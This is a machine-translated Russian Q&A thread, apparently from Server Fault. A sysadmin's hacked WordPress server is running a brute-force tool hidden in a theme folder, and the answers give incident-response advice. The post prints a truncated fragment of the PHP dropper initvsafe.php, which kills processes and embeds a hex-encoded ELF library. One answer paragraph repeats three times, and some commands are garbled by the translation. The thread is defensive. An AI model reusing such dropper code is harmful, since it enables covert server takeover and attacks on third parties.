Кто-то злоупотребляет моим сервером, но как мне остановить злоупотребление? [дубликат]
На этот вопрос уже есть ответ здесь:
- Как мне поступить с взломанным сервером? 13 ответов
Я начинающий системный администратор на куча виртуализированных веб-серверов. Недавно мы получили электронное письмо о том, что один из наших серверов используется для атак методом «грубой силы».Содержание электронного письма было примерно таким.
Приветствую,
/ somehost / abuse team сообщает вам, что у нас были массовые попытки грубой силы к панели управления Joomla / WordPress на нашем сервере общего хостинга / somehost / .ru / ip-number / из вашей сети, с IP-адреса / my-ip-address /
За последние 30 минут мы зафиксировали 1500 таких попыток:
/ my-ip -адрес / / их-домен / - [12 / Янв / 2014: 13: 29: 05 +0400] "POST /wp-login.php HTTP / 1.0" 200 3170 "-" "-"
/ my- IP-адрес / / их-домен / - [12 / Янв / 2014: 13: 29: 05 +0400] "POST /wp-login.php HTTP / 1.0" 200 3170 "-" "-"
/ my -ip-адрес / / их-домен / - [12 / Янв / 2014: 13: 29: 05 +0400] "POST /wp-login.php HTTP / 1.0" 200 3170 "-" "-"
/ мой-IP-адрес / / их-домен / - [12 / Янв / 2014: 13: 29: 06 +0400] "POST /wp-login.php HTTP / 1.0" 200 3170 "-" "-"
/ my-ip-address / / their-domain / - [12 / Янв / 2014: 13: 29: 06 +0400] "POST /wp-login.php HTTP / 1.0" 200 3170 "-" "-"
Общее количество попыток, ранее записанных на этом сервере (/ some-host / .ru) [/ their-ip /]:
====
Это сообщение было автоматически отправлено / some-company-name / системой безопасности. Ваш адрес электронной почты , полученный из общедоступных служб WhoIs. Приносим извинения, за беспокойство, если вы получили это сообщение по ошибке. Пожалуйста, свяжитесь с нами, если ваш адрес электронной почты не имеет отношения к этому IP-адресу или сети .
====
Спасибо, / somehost / abuse team
http: // / somehost / dot ru
/ какой-то тел. Номер в россии /,
/ еще контактные данные в russia /
- Что мне думать об этом письме? Это мошенничество или важное сообщение, которое нельзя игнорировать?
Мне кажется странным, что они пишут «Joomla / Wordpress», хотя в их журналах явно видно, что «wp-login.php "- это PHP-скрипт от WordPress.
На нашем сервере мы размещаем несколько блогов WordPress через Webmin / Virtualmin и сервер Squid, который недоступен извне.
Некоторое время я наблюдал за трафиком с iftop и nethogs и не заметил ничего подозрительного. Журнал доступа к сквидам мне кажется нормальным.
Мы можем видеть множество попыток входа на наш сервер в «безопасном» журнале, но никому не удается получить доступ.
См. Следующий дамп из безопасного хранилища.
an 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): check pass; user unknown
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_succeed_if(smtp:auth): error retrieving information about user thomas
И еще один.
Jan 12 03:00:29 /server/ sshd[21948]: Invalid user anton from 109.7.72.130
Jan 12 03:00:29 /server/ sshd[21949]: input_userauth_request: invalid user anton
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): check pass; user unknown
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.72.7.109.rev.sfr.net
Jan 12 03:00:29 /server/ sshd[21948]: pam_succeed_if(sshd:auth): error retrieving information about user anton
Jan 12 03:00:32 /server/ sshd[21948]: Failed password for invalid user anton from 109.7.72.130 port 40925 ssh2
Jan 12 03:00:32 /server/ sshd[21949]: Received disconnect from 109.7.72.130: 11: Bye Bye
С помощью «кто» я ясно вижу, что только я вошел в систему через SSH.
Сегодня я обновил все модули Webmin и Virtualmin и Squid до новейших версий.
- Что нам теперь делать? Какими должны быть наши следующие шаги, чтобы защитить сервер от использования для атак?
- Это вообще необходимо?
- Какие файлы журналов или конфигурацию мы должны изменить / посмотреть?
РЕДАКТИРОВАТЬ:
Что я делал до сих пор:
- Я проверил файлы, которые изменились на дату атаки ( у нас было почти 50 ГБ трафика
на нашем IP согласно нашему провайдеру) с
find / -type f -name "*" - newermt 2014-01-12! -newermt 12.01.2014> out.log. Ничего не изменилось. - Я проверил AWStats для всех наших доменов.Согласно AWStats, ни один домен не передал более 40 МБ.
- WordPress был обновлен в день атаки.
- Я обновил все модули Webmin и Virtualmin.
- Я обновил squid и изменил его порт на другой, кроме 3128. Я оставил только 80, 443 и 21 как «безопасные» порты.
- Я обновил fail2ban.
Я не хочу отключать сервер от Интернета, как предложено в Как мне поступить с взломанным сервером? .Наши данные зарезервированы, поэтому в настоящее время мы в безопасности. Однако я хотел бы узнать, что послужило причиной нападения, но я все еще не могу этого добиться.
РЕДАКТИРОВАТЬ 15.01.2014:
С помощью nethogs я смог узнать, что / usr / bin / host получает и отправляет гораздо больше данных, чем ожидалось.
NetHogs version 0.8.0
PID USER PROGRAM DEV SENT RECEIVED
10267 /domain//usr/bin/host eth0 120.571 791.124 KB/sec
30517 /domain/sshd: /domain/@pts/0 eth0 2.177 0.111 KB/sec
? root /ip-address/:39586-119.247.224.98:80 0.000 0.000 KB/sec
? root /ip-address/:55718-69.163.148.232:80 0.000 0.000 KB/sec
? root /ip-address/:38474-184.154.230.15:80 0.000 0.000 KB/sec
? root /ip-address/:46593-66.7.212.199:80 0.000 0.000 KB/sec
? root /ip-address/:58733-202.232.144.194:80 0.000 0.000 KB/sec
? root /ip-address/:41154-83.170.122.1:80 0.000 0.000 KB/sec
? root /ip-address/:39996-98.129.229.146:80 0.000 0.000 KB/sec
? root /ip-address/:39872-98.129.229.146:80 0.000 0.000 KB/sec
? root /ip-address/:37429-144.76.15.247:80 0.000 0.000 KB/sec
? root /ip-address/:35063-216.12.197.226:80 0.000 0.000 KB/sec
? root /ip-address/:51335-153.120.33.64:80 0.000 0.000 KB/sec
? root /ip-address/:58344-64.207.178.120:80 0.000 0.000 KB/sec
? root /ip-address/:55848-69.163.148.232:80 0.000 0.000 KB/sec
? root /ip-address/:46799-66.7.212.199:80 0.000 0.000 KB/sec
? root /ip-address/:38110-66.155.9.238:80 0.000 0.000 KB/sec
? root /ip-address/:39713-76.74.254.120:80 0.000 0.000 KB/sec
? root /ip-address/:33814-209.217.227.30:80 0.000 0.000 KB/sec
? root /ip-address/:41009-212.113.141.212:80 0.000 0.000 KB/sec
? root /ip-address/:57027-173.11.110.117:80 0.000 0.000 KB/sec
? root /ip-address/:45436-83.222.250.186:80 0.000 0.000 KB/sec
? root /ip-address/:59143-202.232.144.194:80 0.000 0.000 KB/sec
? root /ip-address/:43357-217.9.42.182:80 0.000 0.000 KB/sec
? root /ip-address/:32981-82.113.145.170:80 0.000 0.000 KB/sec
? root unknown TCP 0.000 0.000 KB/sec
TOTAL 122.749 791.235 KB/sec
При запуске lsof с PID вы можете ясно видеть, что что-то действительно не так с установкой WordPress.
[root@/domain/ logs]# lsof | grep 1706
host 1706 /domain/ cwd DIR 253,0 4096 10178 /home//domain//public_html/wp-content/themes/twentyeleven
host 1706 /domain/ rtd DIR 253,0 4096 2 /
host 1706 /domain/ txt REG 253,0 137592 1054438 /usr/bin/host
host 1706 /domain/ mem REG 253,0 156928 1178048 /lib64/ld-2.12.so
host 1706 /domain/ mem REG 253,0 22536 1178065 /lib64/libdl-2.12.so
host 1706 /domain/ mem REG 253,0 1926800 1178057 /lib64/libc-2.12.so
host 1706 /domain/ mem REG 253,0 145896 1178061 /lib64/libpthread-2.12.so
host 1706 /domain/ mem REG 253,0 91096 1178098 /lib64/libz.so.1.2.3
host 1706 /domain/ mem REG 253,0 358560 1051774 /usr/lib64/libisc.so.83.0.3
host 1706 /domain/ mem REG 253,0 599384 1178963 /lib64/libm-2.12.so
host 1706 /domain/ mem REG 253,0 124624 1178074 /lib64/libselinux.so.1
host 1706 /domain/ mem REG 253,0 113952 1178072 /lib64/libresolv-2.12.so
host 1706 /domain/ mem REG 253,0 1674840 1050692 /usr/lib64/libdns.so.81.4.1
host 1706 /domain/ mem REG 253,0 140568 1051828 /usr/lib64/libisccfg.so.82.0.1
host 1706 /domain/ mem REG 253,0 34696 1051827 /usr/lib64/libisccc.so.80.0.0
host 1706 /domain/ mem REG 253,0 17256 1178085 /lib64/libcom_err.so.2.1
host 1706 /domain/ mem REG 253,0 1953536 1050724 /usr/lib64/libcrypto.so.1.0.1e
host 1706 /domain/ mem REG 253,0 12592 1178067 /lib64/libkeyutils.so.1.3
host 1706 /domain/ mem REG 253,0 46368 1178081 /lib64/libkrb5support.so.0.1
host 1706 /domain/ mem REG 253,0 19016 1178989 /lib64/libcap.so.2.16
host 1706 /domain/ mem REG 253,0 944712 1178089 /lib64/libkrb5.so.3.3
host 1706 /domain/ mem REG 253,0 177520 1178083 /lib64/libk5crypto.so.3.1
host 1706 /domain/ mem REG 253,0 209120 1180550 /lib64/libidn.so.11.6.1
host 1706 /domain/ mem REG 253,0 280520 1178096 /lib64/libgssapi_krb5.so.2.2
host 1706 /domain/ mem REG 253,0 52944 1051829 /usr/lib64/libbind9.so.80.0.4
host 1706 /domain/ mem REG 253,0 75936 1052874 /usr/lib64/liblwres.so.80.0.2
host 1706 /domain/ mem REG 253,0 21152 1178987 /lib64/libattr.so.1.1.0
host 1706 /domain/ mem REG 253,0 1383368 1051772 /usr/lib64/libxml2.so.2.7.6
host 1706 /domain/ DEL REG 253,0 656 /home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so
host 1706 /domain/ mem REG 253,0 27424 1178071 /lib64/libnss_dns-2.12.so
host 1706 /domain/ mem REG 253,0 65928 1178073 /lib64/libnss_files-2.12.so
host 1706 /domain/ mem REG 253,0 12582912 11739 /home//domain//public_html/wp-content/themes/twentyeleven/.sd0
host 1706 /domain/ DEL REG 253,0 655 /home//domain//public_html/wp-content/themes/twentyeleven/libworker.so
host 1706 /domain/ 0r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 1r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 2r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 3r CHR 1,3 0t0 3782 /dev/null
spamd 18546 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd 18548 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd 18549 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
Мне нужно будет взглянуть на домашний // домен // public_html / wp-content / themes / twentyeleven / bruteforce.so .
Просто все файлы, которые были изменены в январе 2014 года, не входят в стандартную установку темы Twenty Eleven WordPress. Например, есть сценарий под названием initvsafe.php , который можно использовать для хранения файлов в файловой системе.
<?php
header("Content-type: text/plain");
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
@system("killall -9 ".basename("/usr/bin/host"));
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00\x01\x00\x00\x00\x54\x0d\x00\x00\x34\x00\x00\x00\x48\x69\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x0f\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x60\x00\x00\xf0\x60\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\xf0\x07\x00\x00\xac\x61\x00\x00\x06\x00\x00\x00\x00\x10\x00\x00\x02\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\x90\x00\x00\x00\x90\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x25\x00\x00\x00\x3c\x00\x00\x00\x21\x00\x00\x00\x31\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x11\x00\x00\x00\x1c\x00\x00\x00\x28\x00\x00\x00\x2f\x00\x00\x00\x3b\x00\x00\x00\x29\x00\x00\x00\x39\x00\x00\x00\x15\x00\x00\x00\x05\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00\x33\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x32\x00\x00\x00\x1e\x00\x00\x00\x3a\x00\x00\x00\x2a\x00\x00\x00\x34\x00\x00\x00\x36\x00\x00\x00\x23\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
...
Вероятно, это законно. Причина, по которой в нем явно не говорится о wordpress, заключается в том, что это автоматическое сообщение, которое автоматически отправляется каким-то сценарием, который обнаруживает подобные атаки и сообщает об этом владельцам источника.
Если ваши серверы были взломаны, первым делом злоумышленник можно было бы установить модифицированные двоичные файлы для who, ls и подобных команд, чтобы скрыть свою активность. И удалите из логов записи об их логине. Так что, возможно, вы скомпрометированы. Что делать со взломанным сервером? описывает, что делать.
Скорее всего, они не получили доступ через SSH, а через что-то вроде сценария PHP, который действует как прокси-сервер. Проверьте все свои веб-сайты на наличие файлов, которым не принадлежат. Также проверьте журналы доступа на предмет необычной активности.
Вы также можете захотеть проверьте, не придумал ли rkhunter что-нибудь подозрительное. Настоящая проблема заключается в том, что после взлома сервера, особенно если у вас были исправлены fail2ban и другие пакеты, может быть безопаснее перевести его в автономный режим, даже если это всего лишь перемещение некоторых свидетельств (журналов) на другой компьютер. Как упомянул Грант, вы не можете быть уверены, что журналы не были подделаны / удалены, чтобы скрыть какие-либо следы, поэтому предполагайте худшее.
Вы можете посмотреть журналы fail2ban, чтобы увидеть, нет ли там чего-нибудь необычного.
Вы также можете быстро просмотреть часть 14.6 руководства debian, касающуюся скомпрометированных систем.
Вы не можете быть уверены, что журналы не были подделаны / удалены, чтобы скрыть какие-либо следы, поэтому предполагайте худшее.Вы можете посмотреть журналы fail2ban, чтобы увидеть, нет ли там чего-нибудь необычного.
Вы также можете быстро просмотреть часть 14.6 руководства debian, касающуюся скомпрометированных систем.
Вы не можете быть уверены, что журналы не были подделаны / удалены, чтобы скрыть какие-либо следы, поэтому предполагайте худшее.Вы можете посмотреть журналы fail2ban, чтобы увидеть, нет ли там чего-нибудь необычного.
Вы также можете быстро просмотреть часть 14.6 руководства debian, касающуюся скомпрометированных систем.